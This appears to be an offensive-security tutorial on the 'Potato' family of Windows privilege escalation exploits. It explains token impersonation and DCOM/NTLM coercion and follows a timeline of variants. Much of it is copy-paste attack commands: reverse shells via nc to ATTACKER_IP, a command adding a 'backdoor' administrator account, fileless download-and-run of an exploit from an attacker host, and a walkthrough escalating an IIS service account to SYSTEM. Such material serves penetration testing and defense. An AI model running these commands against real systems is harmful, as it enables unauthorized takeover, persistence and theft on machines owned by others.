The Potato Family — Windows Privilege Escalation (2016–2024)

TL;DR

Potato exploits target Windows service accounts holding SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege. The core technique coerces a privileged process (typically running as SYSTEM) to authenticate via NTLM to an attacker-controlled endpoint, captures the resulting token, and impersonates it to spawn a SYSTEM-level shell. Over a dozen variants have emerged since 2016, each bypassing specific Microsoft patches while exploiting the same fundamental design pattern in Windows authentication.

Foundations — Why Potato Attacks Exist

Windows Access Tokens

Every Windows process runs under a security context defined by an access token. This token contains the user's SID, group memberships, and privileges. When a process impersonates another user's token, it assumes their identity and privileges.

Windows defines four impersonation levels:

Potato attacks target the Impersonate level. They capture a SYSTEM-level token and use it to execute commands locally.

SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege

These two privileges control token impersonation on Windows:

• SeImpersonatePrivilege: allows a process to impersonate a client after authentication. The process can call ImpersonateNamedPipeClient(), ImpersonateLoggedOnUser(), or similar APIs to assume another user's security context.
• SeAssignPrimaryTokenPrivilege: allows a process to assign a primary token to a new process via CreateProcessAsUser(), effectively launching a child process under a different identity.

Both are granted by default to several service accounts:

If you land a shell as any of these accounts, you have the prerequisites for a Potato attack.

Identifying Target Architecture

Before downloading exploit binaries, determine the target's architecture to select the correct build (x86 vs x64):

C:\> wmic os get osarchitecture

Also check .NET Framework version, as some variants (GodPotato, SigmaPotato) require specific .NET versions:

C:\> reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s | findstr /i "version"

DCOM, OXID Resolution, and NTLM Authentication

Most Potato variants abuse the Distributed Component Object Model (DCOM) infrastructure, specifically the OXID Resolver service on port 135. The attack flow works as follows:

1. The attacker instantiates a COM object with a specific CLSID, directing it to authenticate against an attacker-controlled endpoint.
2. The COM subsystem (running as SYSTEM) attempts to resolve the object location via the OXID Resolver.
3. During resolution, SYSTEM sends an NTLM authentication request to the attacker's endpoint.
4. The attacker captures the token and uses it to impersonate SYSTEM.

Different variants modify which step they control. Some redirect the OXID resolution, others fake the resolver entirely, and newer variants bypass DCOM altogether.

Named Pipes and Token Capture

Several variants use Named Pipes as the authentication endpoint instead of a network listener. When a privileged client connects to a named pipe, the pipe server can call ImpersonateNamedPipeClient() to assume the client's security context.

This approach avoids network-level restrictions and works entirely within the local system, making it more reliable in hardened environments where outbound connections or local port binding may be restricted.

Unified Attack Flow

All Potato attacks share a common four-step pattern, regardless of the specific variant:

Step 1: Trigger DCOM/RPC activation
  └─> COM object instantiation or RPC coercion

Step 2: Force NTLM authentication
  └─> SYSTEM process authenticates to attacker endpoint

Step 3: Capture/relay the token
  └─> Via TCP socket, named pipe, or SSPI hook

Step 4: Impersonate SYSTEM
  └─> CreateProcessAsUser() or ImpersonateNamedPipeClient()
  └─> Spawn shell as NT AUTHORITY\SYSTEM

Variants diverge in their specific trigger methods, authentication mechanisms, and relay techniques, but the fundamental pattern remains the same.

The Potato Timeline

The Potato family has evolved continuously from 2016 to 2024, with each new variant responding to Microsoft patches that blocked previous techniques:

• 2016: Hot Potato introduced the concept using NBNS spoofing and WPAD proxy manipulation. Rotten Potato shifted to DCOM-based NTLM reflection, eliminating the need for network spoofing.
• 2018: Juicy Potato generalized the approach by allowing attacker-specified CLSIDs for DCOM activation, dramatically increasing the attack surface.
• 2020: After Microsoft blocked DCOM activation on custom ports in Server 2019, Rogue Potato deployed fake OXID resolvers on remote machines. Sweet Potato combined multiple techniques into a single multi-vector tool.
• 2021: Generic Potato avoided DCOM entirely, using HTTP-based authentication with named pipe impersonation.
• 2022: JuicyPotatoNG introduced SSPI hooking and Kerberos relay for modern Windows. God Potato took a fundamentally different approach using Named Pipe RPC, bypassing DCOM altogether.
• 2023: Coerced Potato leveraged RPC coercion techniques. Sigma Potato forked GodPotato to add fileless execution and built-in reverse shells.
• 2024: Silver Potato exploited cross-session DCOM activation with NTLM relay, earning CVE-2024-38061.

Comparative Table

Decision Flowchart — Which Potato to Use

START: Do you have SeImpersonatePrivilege?
  │
  ├─ NO → Potato attacks won't work. Try other privesc vectors.
  │
  └─ YES → What Windows version?
       │
       ├─ Windows 7/8/Server 2008/2012
       │    └─> JuicyPotato (widest CLSID support)
       │
       ├─ Windows 10 / Server 2016
       │    └─> JuicyPotato first, then SweetPotato
       │
       ├─ Windows 10 1809+ / Server 2019
       │    ├─ Can you reach an external host?
       │    │    ├─ YES → RoguePotato
       │    │    └─ NO  → GodPotato or JuicyPotatoNG
       │    └─ Want fileless? → SigmaPotato
       │
       └─ Windows 11 / Server 2022
            └─> GodPotato (.NET4) or JuicyPotatoNG
                 └─ Fileless? → SigmaPotato --revshell

Obtaining the Tools

Pre-compiled binaries for JuicyPotato are also available on Kali Linux:

[attacker@kali ~]$ ls /usr/share/windows-resources/juicy-potato/

The Variants — Deep Dive

Hot Potato (2016)

Mechanism: NBNS spoofing + WPAD proxy + NTLM relay

Hot Potato combined three techniques into a single chain. It spoofed NBNS responses to redirect WPAD (Web Proxy Auto-Discovery) requests to the attacker, served a malicious WPAD configuration file that forced NTLM authentication, then relayed those credentials to a local service to escalate privileges.

Why it worked: Windows services automatically query NBNS for WPAD configuration on startup. By spoofing the response and serving a proxy PAC file, the attacker could force SYSTEM-level processes to authenticate.

Status: Patched. Microsoft hardened NBNS spoofing and WPAD resolution behavior.

Tool: Tater

Rotten Potato (2016)

Mechanism: DCOM BITS activation + NTLM reflection via TCP sockets

Rotten Potato shifted from network spoofing to DCOM-based NTLM reflection. It activated the BITS COM object, intercepted the NTLM authentication via a local man-in-the-middle between a TCP listener (port 6666) and the RPC service (port 135), then replayed the captured token.

Status: Partially patched. Microsoft added restrictions to prevent NTLM reflection on the same machine, but the underlying DCOM technique inspired all subsequent variants.

Tool: RottenPotatoNG

Juicy Potato (2018)

Mechanism: Custom CLSID + DCOM activation

Juicy Potato generalized Rotten Potato by allowing the attacker to specify any CLSID for DCOM activation. Hundreds of COM objects across different Windows versions could serve as NTLM triggers, dramatically increasing reliability.

Common CLSIDs:

Full CLSID list: ohpe.it/juicy-potato/CLSID

Basic command execution:

C:\Temp> JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami" -t *

Reverse shell:

C:\Temp> JuicyPotato.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "-e cmd.exe ATTACKER_IP 4444" -t *

With specific CLSID:

C:\Temp> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}

Status: Patched on Server 2019+ and Windows 10 build 1809+. Microsoft blocked DCOM activation on custom ports by restricting the OXID resolver to port 135 only.

Tool: JuicyPotato

Rogue Potato (2020)

Mechanism: Fake OXID Resolver + Named Pipe

Rogue Potato bypassed Server 2019 restrictions by deploying a fake OXID Resolver on a remote attacker-controlled machine. It redirected the SYSTEM authentication to a local named pipe, where the token was captured and impersonated.

Requires: Ability to redirect port 135 traffic from a remote machine (e.g., via socat).

Attacker — port forwarding:

[attacker@kali ~]$ socat tcp-listen:135,reuseaddr,fork tcp:TARGET_IP:9999

Victim — execution:

C:\Temp> RoguePotato.exe -r ATTACKER_IP -l 9999 -e "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

Status: Not patched (requires outbound network access).

Tool: RoguePotato

Reference: No more JuicyPotato? Old story, welcome RoguePotato!

Sweet Potato (2020)

Mechanism: Multi-vector (DCOM/WinRM/EfsRpc) + Named Pipe impersonation

Sweet Potato combined multiple privilege escalation techniques into a single "Swiss army knife" tool. It attempts DCOM activation, WinRM service abuse, EfsRpc coercion, and PrintSpoofer-style named pipe impersonation, increasing success chances across different configurations.

Command execution:

C:\Temp> SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"

Reverse shell:

C:\Temp> SweetPotato.exe -p C:\Windows\Temp\nc.exe -a "-e cmd.exe ATTACKER_IP 4444"

Status: Partially patched (some vectors blocked on newer builds).

Tool: SweetPotato

Generic Potato (2021)

Mechanism: HTTP + Named Pipe impersonation

Generic Potato avoided DCOM entirely. It started a local HTTP server that triggered NTLM authentication, redirected the privileged process to authenticate against the endpoint, and captured the token via a named pipe.

Execution:

C:\Temp> GenericPotato.exe -m HTTP -p C:\Windows\Temp\nc.exe -a "ATTACKER_IP 4444 -e cmd.exe" -e HTTP

Status: Not patched. Works on all Windows versions by avoiding the DCOM activation path.

Tool: GenericPotato

JuicyPotatoNG (2022)

Mechanism: DCOM + SSPI Hooking + Kerberos Relay

Designed specifically for Windows 10/11 and Server 2019/2022 where the original JuicyPotato was patched. JuicyPotatoNG hooks into SSPI (Security Support Provider Interface) to intercept authentication at the API level, uses Kerberos relay within the local authentication flow, and automatically finds working COM objects without manual CLSID hunting.

Execution:

C:\Temp> JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

Status: Not patched. Works on modern Windows.

Tool: JuicyPotatoNG

God Potato (2022)

Mechanism: Named Pipe RPC + OXID bypass

God Potato took a fundamentally different approach by abusing the Named Pipe mechanism directly, bypassing DCOM entirely. It creates a named pipe server, uses RPC calls to trigger SYSTEM-level authentication to the pipe, and impersonates the SYSTEM token from the pipe connection.

Works on nearly all Windows versions from Server 2012 to Server 2022 without requiring outbound network access.

Basic command:

C:\Temp> GodPotato.exe -cmd "cmd /c whoami"

Reverse shell:

C:\Temp> GodPotato.exe -cmd "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

Add admin user:

C:\Temp> GodPotato.exe -cmd "net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"

Status: Not patched. One of the most reliable current variants.

Tool: GodPotato

Coerced Potato (2023)

Mechanism: RPC Coercion + Named Pipe

Coerced Potato leverages multiple RPC coercion techniques (EfsRpcOpenFileRaw, SpoolService, and others) to force SYSTEM-level authentication to an attacker-controlled named pipe, then impersonates the captured token.

Status: Not patched.

Tool: CoercedPotato

Sigma Potato (2023)

Mechanism: Named Pipe RPC + Hooking (GodPotato fork)

Sigma Potato is a fork of GodPotato with significant operational improvements:

• Fileless execution via .NET reflection, load and run entirely in memory
• Built-in reverse shell via --revshell flag, no need for external netcat
• Command length bypass: supports up to 32,767 characters via process environment block inheritance (vs. GodPotato's 1024-character limit)
• PowerShell wrapper with embedded Gzip+Base64 binary
• Rudimentary AV evasion via VirtualAllocExNuma() sandbox detection

Basic command:

C:\Temp> SigmaPotato.exe whoami

Built-in reverse shell:

C:\Temp> SigmaPotato.exe --revshell ATTACKER_IP 4444

Fileless execution via PowerShell:

PS C:\> [System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://ATTACKER_IP/SigmaPotato.exe'))
PS C:\> [SigmaPotato]::Main("whoami")

Status: Not patched.

Tool: SigmaPotato

Silver Potato (2024)

Mechanism: Cross-session DCOM activation + NTLM Relay

Silver Potato introduced a new attack surface by exploiting cross-session DCOM activation combined with NTLM relay, earning CVE-2024-38061.

It exploits DCOM object activation permissions that allow cross-session access, forces a privileged process to authenticate via NTLM to an attacker-controlled endpoint, and relays the captured NTLM authentication to escalate privileges.

Status: Partially patched.

Reference: Hello, I'm your Domain Admin and I want to authenticate against you

Related: Non-Potato Alternatives

PrintSpoofer

Mechanism: Print Spooler service named pipe impersonation

PrintSpoofer abuses the Windows Print Spooler service instead of DCOM/RPC. It creates a named pipe with a predictable name that the spooler service connects to as SYSTEM, then impersonates the captured token.

Simpler than most Potato variants: no COM objects, no OXID resolution, no network listeners. Requires only SeImpersonatePrivilege and a running Print Spooler service.

Interactive shell:

C:\Temp> PrintSpoofer.exe -i -c cmd

Reverse shell:

C:\Temp> PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"

Supported on: Windows 10, Server 2016/2019.

Tool: PrintSpoofer

Practical Demonstration

Step 1 — Initial Access

After landing a shell (e.g., via web shell on IIS, SQL injection on MSSQL, or similar), identify your current user context:

C:\inetpub\wwwroot> whoami
iis apppool\defaultapppool

Step 2 — Enumerate Privileges

Verify that impersonation privileges are available:

C:\inetpub\wwwroot> whoami /priv | findstr /i "impersonate assign"

SeImpersonatePrivilege        Impersonate a client after authentication   Enabled
SeAssignPrimaryTokenPrivilege Replace a process level token               Enabled

Both privileges are enabled. Potato attacks will work.

Step 3 — Enumerate the Operating System

Determine Windows version and architecture to select the right variant:

C:\inetpub\wwwroot> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393

C:\inetpub\wwwroot> wmic os get osarchitecture

OSArchitecture
64-bit

Step 4 — Transfer the Exploit

Host the binary on your attacker machine and download it:

Attacker — start HTTP server:

[attacker@kali ~]$ python3 -m http.server 8080

Victim — download via certutil:

C:\inetpub\wwwroot> certutil -urlcache -split -f http://ATTACKER_IP:8080/JuicyPotato.exe C:\Windows\Temp\jp.exe

Or via PowerShell:

PS C:\inetpub\wwwroot> Invoke-WebRequest -Uri http://ATTACKER_IP:8080/JuicyPotato.exe -OutFile C:\Windows\Temp\jp.exe

Step 5 — Scenario A: JuicyPotato on Server 2016

Server 2016 is vulnerable to the original JuicyPotato. Set up a listener and execute:

Attacker — listener:

[attacker@kali ~]$ nc -lvnp 4444

Victim — exploit:

C:\Windows\Temp> jp.exe -l 1337 -p C:\Windows\Temp\nc.exe -a "-e cmd.exe ATTACKER_IP 4444" -t * -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}

[+] CreateProcessWithTokenW OK

Attacker — SYSTEM shell received:

listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 49831

C:\Windows\system32> whoami
nt authority\system

Step 5 — Scenario B: GodPotato on Server 2022

On Server 2022, JuicyPotato is patched. Use GodPotato instead.

Check .NET version:

C:\Windows\Temp> reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Version

    Version    REG_SZ    4.8.09032

.NET 4.x is present, use the NET4 build.

Attacker — listener:

[attacker@kali ~]$ nc -lvnp 4444

Victim — exploit:

C:\Windows\Temp> GodPotato.exe -cmd "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"

[*] CombaseModule: 0x140716800849920
[*] DispatchTable: 0x140716803209680
[*] UseProtseqFunction: 0x140716802744048
[*] UseProtseqFunctionParamCount: 6
[*] ImpsersonateClient OK
[*] Token Owner: NT AUTHORITY\SYSTEM

SYSTEM shell received.

Summary — Practical Workflow

1. whoami → identify service account
2. whoami /priv → confirm SeImpersonatePrivilege
3. systeminfo → identify OS version
4. Transfer exploit binary
5. Select variant based on OS → execute → SYSTEM

Cheat Sheet

For a quick-reference cheat sheet covering all Potato variants with copy-paste commands, see: docs.bytejmp.com/windows-privesc/potatoes

Conclusion

The Potato family represents one of the most persistent and evolving Windows privilege escalation attack classes. Spanning a decade, these techniques exploit a fundamental design pattern in Windows service account impersonation capabilities.

Each variant reflects a moment in the arms race between security researchers and Microsoft. A patch blocks one technique, and a new variant emerges to bypass it. The key takeaway: if you compromise a service account with SeImpersonatePrivilege, there is almost certainly a Potato variant that will work, regardless of the Windows version or patch level.

References

1. FoxGlove Security: Hot Potato
2. Microsoft: Impersonation Levels
3. Microsoft: Privilege Constants
4. Microsoft: DCOM Technical Overview
5. Microsoft: Named Pipes
6. Jorge Lajara: Potatoes Windows Privesc
7. HideAndSec: In the Potato family, I want them all
8. Decoder: No more JuicyPotato? Welcome RoguePotato
9. Decoder: Silver Potato / CVE-2024-38061